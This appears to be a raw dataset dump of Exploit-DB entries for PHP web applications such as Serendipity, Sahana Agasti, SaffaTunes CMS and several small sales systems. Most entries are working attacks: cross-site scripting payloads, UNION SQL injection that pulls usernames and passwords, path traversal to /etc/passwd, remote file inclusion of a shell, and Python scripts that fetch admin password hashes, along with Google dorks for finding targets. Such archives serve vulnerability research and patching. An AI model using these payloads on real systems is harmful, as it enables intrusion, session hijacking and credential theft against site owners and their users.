deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38642
Description: S9Y Serendipity 1.6.2 - 'serendipity_admin_image_selector.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-07-12
Author: Omar Kurt

Exploit:
source: https://www.securityfocus.com/bid/61138/info

Serendipity is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Serendipity 1.6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Btextarea%5D=%27%2Balert(0x000887)%2B%27&serendipity%5Baction%5D=208.100.0.117
&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117
&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117

http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117
Exploit-DB #40650
Description: S9Y Serendipity 2.0.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-10-31
Author: Besim

Exploit:
========================================
Title: Serendipity-2.0.4 (latest version) -  Stored Cross Site Scripting
Application: Serendipity
Class: Sensitive Information disclosure
Versions Affected:  <= latest version 
Vendor URL: http://docs.s9y.org/
Software URL: http://docs.s9y.org/downloads.html
Bugs:   Persistent Cross Site Scripting
Date of found:  29.10.2016
Author: Besim
========================================

2.CREDIT
========================================
Those vulnerabilities was identified by Meryem AKDOĞAN and Besim ALTINOK
 
  
3. VERSIONS AFFECTED
========================================
 <= latest version

  
4. TECHNICAL DETAILS & POC
========================================

 Stored Cross Site Scripting (No Admin Required)
========================================

1) Editor login panel
2) User click 'New Entry'
3) Attacker(normal user) enter xss payload to 'Entry Body' input 
4) Vulnerability Parameter and Payload : &body=<Script>alert('Meryem ExploitDB')</Script>

### HTTP Request  ###

POST /serendipity/serendipity_admin.php? HTTP/1.1
Host: site_name
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site_name/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=new
Cookie: ---
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 762

- POST DATA

serendipity[action]=admin
&serendipity[adminModule]=entries
&serendipity[adminAction]=save
&serendipity[id]=
&serendipity[timestamp]=[PII_REDACTED]
&serendipity[preview]=false
&serendipity[token]=324fa32a404e03de978d9a18f86a3338
&serendipity[title]=New Page
&serendipity[body]=<Script>alert('Meryem ExploitDB')</Script>
&serendipity[extended]=
&serendipity[chk_timestamp]=[PII_REDACTED]
&serendipity[new_timestamp]=2016-10-24 15:02
&serendipity[isdraft]=false
&serendipity[allow_comments]=true
&serendipity[had_categories]=1
&serendipity[propertyform]=true
&serendipity[properties][access]=public
&ignore_[CREDENTIAL_REDACTED][properties][entrypassword]=
&serendipity[change_author]=4
Exploit-DB #31126
Description: S9Y Serendipity Freetag-plugin 2.95 - 'style' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-08
Author: Alexander Brachmann

Exploit:
source: https://www.securityfocus.com/bid/27697/info

Serendipity Freetag-plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Serendipity Freetag-plugin 2.95; prior versions may also be affected. 

http://www.example.com/plugin/tag/%3Cdiv%20style=[XSS]
Exploit-DB #35808
Description: S9Y Serendipity Freetag-plugin 3.21 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-31
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/48054/info

Serendipity Freetag-plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Serendipity Freetag-plugin 3.21; prior versions may also be affected. 

http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body onload=alert(666)>

http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body onload=alert(String.fromCharCode(88,83,83))>

http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(666)>

http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(String.fromCharCode(88,83,83))>
Exploit-DB #36168
Description: S9Y Serendipity Freetag-plugin 3.23 - 'serendipity[tagview]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-26
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/49771/info

Serendipity Freetag-plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Serendipity Freetag-plugin 3.22; prior versions may also be affected. 

http://www.example.com/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=managetags&serendipity[tagview]=[xss]
Exploit-DB #1996
Description: Sabdrimer PRO 2.2.4 - 'pluginpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-09
Author: A.nosrati

Exploit:
VIRANGAR SECURITY TEAM
Discovered By : A.nosrati
 www.virangar.org (Public)
 www.virangar.net (Priv8)
 Mail: info[at]virangar.net

Sabdrimer PRO (v.2.2.4 ) Remote File Include Vulnerability
Google Dork : "© Sabdrimer CMS"
bug found in file : advanced1.php
web Site : http://sabdrimer.ru
Remote : Yes
Critical Level : Dangerous

http://www.website.com/skins/advanced/advanced1.php?pluginpath[0]=[evil_script]
Important :register_globals=On

-----------------------
Greetz : All #Virangar Members
I work in the dark 
I Get what I want 

# milw0rm.com [2006-07-09]
Exploit-DB #5360
Description: Sabros.us 1.75 - 'thumbnails.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-04-04
Author: HaCkeR_EgY

Exploit:
           #######################################################
                   <<<<<< Remote File Disclosure Vulnerability >>>>>>
                               sabrosus 1.75  (thumbnails.php)
           #######################################################
 
## AUTHOR :  HaCkeR_EgY
## My HoMe :  www.PaL-HaCker.com
## ConTacT :  hacker_egy@hotmail.com
 
###############################################################################
## Download Script : http://sourceforge.net/project/downloading.php?groupname=sabrosus&filename=sabrosus1-75.zip&use_mirror=garr

## vurn C0de :
     in (thumbnails.php) 
        line 82
                       readfile ($img) <===
 
## Dork : Powered by sabros.us
 
## PoC:  http://localhost/sabrosus/thumbnails.php?img=include/config.php
             http://localhost/sabrosus/thumbnails.php?img=../../../../../../../../etc/passwd
                                            
#################################################################################
 
## GREETZ TO :   My BrOther and My MasTer   " Abo Mohamed "

##  Thanx     :  FiReSell  , MoHamed EL Arab  ,  Mr.exe  ,  zaradusht  ,  M$s D@nG3rS ,and all " pal-hacker members "
 
#####################################################################################

# milw0rm.com [2008-04-04]
Exploit-DB #7844
Description: Sad Raven's Click Counter 1.0 - 'passwd.dat' File Disclosure
Type: webapps
Platform: php
Date: 2009-01-21
Author: Pouya_Server

Exploit:
#!/usr/bin/python
#Portal Name: Sad Raven's Click Counter
#version : 1.0
#'Google Dork : Sad Raven's Click Counter v1.0
#Exploit Coded by: Pouya_Server
#Exploit Discovered by: Pouya_Server
#Contact Me : Pouya.s3rver@Gmail.com
 
import urllib
import sys
import parser
serv="http://"
i=0
for arg in sys.argv:
     i=i+1
if i!=3:
 print """\n\n
         \tSad Raven's Click Counter v1.0  (passwd.dat)                          
          \tUsage:exploit.py [targetsite] [path]
          \tExample:exploit.py www.target.com /Path/
\tResult=$Password['Admin']="c71032e32b9ce349f99f655e68d7324g"
     \t       $Password['Admin Username']="Admin Password [MD5]" \n\n"""
else:
   
    adres=sys.argv[1]
    path=sys.argv[2]
    str1=adres.join([serv,path])
    str2=str1.join(['','/passwd.dat'])
    print "\n[~]Connecting..."
    url=urllib.urlopen(str2).read();
    print "\n[+]Connected!"
 
    test=url.find(path);
    t=0;
    print "\n\t\t\t-=[Admin Username and Password]=-"
    while(url[test+1]!=1): # Pouya
              print url[test],
              if(url[test]=='\n'):
                 t=t+1; 
              if(t==2):
                 break;
               
              test=test+1;
    print "\n\n\t\t\t[ coded by Pouya_Server ]"

# milw0rm.com [2009-01-21]
Exploit-DB #50626
Description: SAFARI Montage 8.5 - Reflected Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-01-05
Author: Momen Eldawakhly

Exploit:
# Exploit Title: SAFARI Montage 8.5 - Reflected Cross Site Scripting (XSS)
# Date: 28/12/2021
# Exploit Author: Momen Eldawakhly - Cyber Guy - (Resecurity Inc)
# Vendor Homepage: https://www.safarimontage.com/
# Version: 8.3 and 8.5
# Tested on: Ubuntu Linux [Firefox]
# CVE: CVE-2021-45425

# Proof of Concept:

GET /redirect.php?cmd=invalid%27%22()%26%25%3C/body%3E%3CScRiPt%3Ealert(document.cookie)%3C/ScRiPt%3E&ret=3 HTTP/1.1
Host: vulnIP
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=SSSION; lang=en
Connection: close
Exploit-DB #24582
Description: SAFE TEAM Regulus 2.2 - 'Custchoice.php' Update Your Password Action Information Disclosure
Type: webapps
Platform: php
Date: 2004-09-07
Author: masud_libra

Exploit:
source: https://www.securityfocus.com/bid/11133/info

Regulus is reported prone to an information disclosure vulnerability. It is reported that a specified user/customer password hash is contained in a hidden tag of the 'Update Your Password' action page. 

An attacker may employ data that is obtained in this manner to aid in further attacks launched against the vulnerable software.

This vulnerability is reported to affect all versions of SAFE TEAM Regulus.

http://example.com/base-dir/htmlcust/custchoice.php?lang=English&userid=<name>&action=To update your password

Where '<name>' is the target username.
Exploit-DB #24583
Description: SAFE TEAM Regulus 2.2 - Customer Statistics Information Disclosure
Type: webapps
Platform: php
Date: 2004-09-07
Author: masud_libra

Exploit:
source: https://www.securityfocus.com/bid/11134/info

Regulus is reported prone to an information disclosure vulnerability. It is reported that it is possible to view a target users connection statistics without requiring valid credentials.

An attacker may employ data that is obtained in this manner to aid in further attacks launched against the vulnerable software.

This vulnerability is reported to affect all versions of SAFE TEAM Regulus.

http://example.com/base-dir/htmlcust/custchoice.php?lang=English&userid=<name>&action=To see your connections logs

Where '<name>' is the target username.
Exploit-DB #13952
Description: Saffa Tunes CMS - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-21
Author: Th3 RDX

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
L0v3 To: R00T, R45c4l, Agent: 1c3c0ld, Big Kid, Lucky(www.indishell.in)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz to ### Team I.C.A | www.IndiShell.in | Team I.C.W ###
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

Th3 RDX

----- [ E - mail ] -----

th3rdx@gmail.com


%\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Saffa Tunes CMS (news.php) SQL Injection Vulnerability

----- [ Vendor ] -----

http://cms.saffatunes.com/

%\\
##############################################################################

##############################################################################
%//

----- [ Exploit (s) ] -----

Put [CODE] = SQL Injection Code

{e.g = news.php?id=9+and+1=0+ Union 2,3,4,5,6 (tables & column) }

[SQLi] http://server/cms/news.php?id=9[CODE]

[SQLi] http://server/cms/news.php?year=2010[CODE]

%\\
##############################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 19 June 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#End 0Day#
Exploit-DB #34175
Description: SaffaTunes CMS - 'news.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-06-21
Author: Th3 RDX

Exploit:
source: https://www.securityfocus.com/bid/40995/info

SaffaTunes CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/cms/news.php?id=9[CODE]
http://www.example.com/cms/news.php?year=2010[CODE]
Exploit-DB #33308
Description: Sahana 0.6.2 - 'mod' Local File Disclosure
Type: webapps
Platform: php
Date: 2009-10-27
Author: Greg Miernicki

Exploit:
source: https://www.securityfocus.com/bid/36826/info

Sahana is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

Sahana 0.6.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?stream=text&mod=/../../../../../../../../../../../etc/passwd%00
Exploit-DB #15896
Description: Sahana Agasti 0.6.4 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2011-01-03
Author: n0n0x

Exploit:
#Sahana Agasti <= 0.6.4 Multiple Remote File Include
#By n0n0x
#Homepage: http://priasantai.uni.cc/
#Script site: http://www.sahanafoundation.org/
#Download: https://launchpad.net/sahana-agasti/

#Bug:

25 global $global;
26 require_once($global['approot'].'inc/lib_security/lib_acl.inc');
27 require_once($global['approot'].'inc/lib_errors.inc');

#Vuln: sahana-phase2/mod/vm/controller/AccessController.php?global[approot]=[y0ur fuck!ng shell]

#Bug:

31 global $global;
32 require_once($global['approot'].'inc/lib_paging.inc');

#Vuln: sahana-phase2/mod/vm/model/dao.php?global[approot]=[y0ur fuck!ng shell]

****************************************************************************************************************
[!] Thanks:
  
    manadocoding.org, sekuritionline.net
****************************************************************************************************************
[!] Greetz:
   
    str0ke, angky.tatoki, EA ngel, s4va, bL4Ck_3n91n3, untouch, zreg, Valentin, team_elite
    devilbat. cr4wl3r, cyberl0g, lumut, AntiHack, DskyMC, mr.c, donyskaynet
****************************************************************************************************************
Exploit-DB #15889
Description: Sahana Agasti 0.6.4 - SQL Injection
Type: webapps
Platform: php
Date: 2011-01-01
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
 
   [ Discovered by dun \ posdub[at]gmail.com ]

 ################################################################
 #  [ Sahana Agasti <= 0.6.4 ]  SQL Injection Vulnerability     #
 ################################################################
 #
 # Script: "Agasti is the PHP based project of the Sahana Software Foundation. 
 #          Based a long-term preparedness for disaster management..."
 #
 # Script site: http://www.sahanafoundation.org/
 # Download: https://launchpad.net/sahana-agasti/
 #
 # [SQL] Vuln: 
 # http://site.com/agasti/sahana-0.6.4/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users
 #    
 #    
 # Bug: ./sahana-0.6.4/www/xml.php (lines: 17-21, 200-223)
 #
 # ...
 # $act=$_GET{"act"};                                                          //
 # 
 # if($act=='add_loc')                                                         // (1)
 # {
 #         _shn_get_level_location();                                          //
 # ...
 # 
 # function _shn_get_level_location(){
 #         require_once('../3rd/adodb/adodb.inc.php');
 #         require_once('../conf/sysconf.inc.php');
 #         //Make the connection to $global['db']
 #         $db = NewADOConnection($conf['db_engine']);
 #        $db ->Connect($conf['db_host'].($conf['db_port']?':'.$conf['db_port']:''),$conf['db_user'],$conf['db_pass'],$conf['db_name']);
 # 
 # 
 #         $level=$_GET{"sel"};                                                // (2)
 #         if($level==1){
 #                 echo "none,";
 #         }
 #         $q = "SELECT location.name,location.loc_uuid,parent_id FROM location WHERE location.opt_location_type={$level}";          // (3) SQL
 #         $res_child=$db->Execute($q);
 #         if($res_child->EOF)
 #         return;
 #         while(!$res_child->EOF){
 #                 $res=$res.",".$res_child->fields[1];
 #                 $res=$res.",".$res_child->fields[0];
 #                $res_child->MoveNext();
 #        }
 #         echo $res;                                                          // (4)
 # }
 # ...  
 # 
 # 
 ###############################################

 
 [ dun / 2011-01-01 ]
Exploit-DB #10681
Description: Saibal Download Area 2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================
| # Title    : SAIBAL DOWNLOAD AREA V.2.0 Upload Shell Vulnerability                   |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   : 10681                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : SAIBAL DOWNLOAD AREA V.2.0 (Creato da saibal [http://www.lorenzone.it /)|
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
|1- http://127.0.0.1/saibal/_admin/fileupload.php
|
================================   Dz-Ghost Team   ========================================
Greetz : Tinjah.com * iq-ty.com * Rafik * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #49329
Description: Sales and Inventory System for Grocery Store 1.0 - Multiple Stored XSS
Type: webapps
Platform: php
Date: 2020-12-23
Author: Vijay Sachdeva

Exploit:
# Exploit Title: Sales and Inventory System for Grocery Store 1.0 - Multiple Stored XSS
# Exploit Author: Vijay Sachdeva (pwnshell)
# Date: 2020-12-23
# Vendor Homepage: https://www.sourcecodester.com/php/11238/sales-and-inventory-system-grocery-store.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11238&title=Sales+and+Inventory+System+for+Grocery+Store+using+PHP%2FPDO+Full+Source+Code
# Tested on Kali Linux

Step 1: Log in to the application with admin credentials

Step 2: Click on "Customer" on the left side, then click "Add Customer".

Step 3. Input "<IMG """><SCRIPT>alert("XSS")</SCRIPT>">" in "First Name" field of the "Add Customer" form.

Step 4. Click on "Save" when done and this will trigger the Stored XSS payloads. Whenever you click on the "Customer" page, your XSS payload will be triggered.

Note: Stored XSS can also be found on the "Product" page, select any product and then go to "Action" to edit it. Input your payload "<IMG"""><SCRIPT>alert("XSS")</SCRIPT>">" in any of the field and your XSS payload will trigger.
Exploit-DB #51549
Description: Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-07-03
Author: Amirhossein Bahramizadeh

Exploit:
# Exploit Title: Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS)
# Date: 2023-06-23
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : webapps
# Dork : /print.php?nm_member=
# Vendor Homepage: https://www.codekop.com/products/source-code-aplikasi-pos-penjualan-barang-kasir-dengan-php-mysql-3.html
# Tested on: Windows/Linux
# CVE : CVE-2023-36346

import requests
import urllib.parse

# Set the target URL and payload
url = "http://example.com/print.php"
payload = "<script>alert('XSS')</script>"

# Encode the payload for URL inclusion
payload = urllib.parse.quote(payload)

# Build the request parameters
params = {
    "nm_member": payload
}

# Send the request and print the response
response = requests.get(url, params=params)
print(response.text)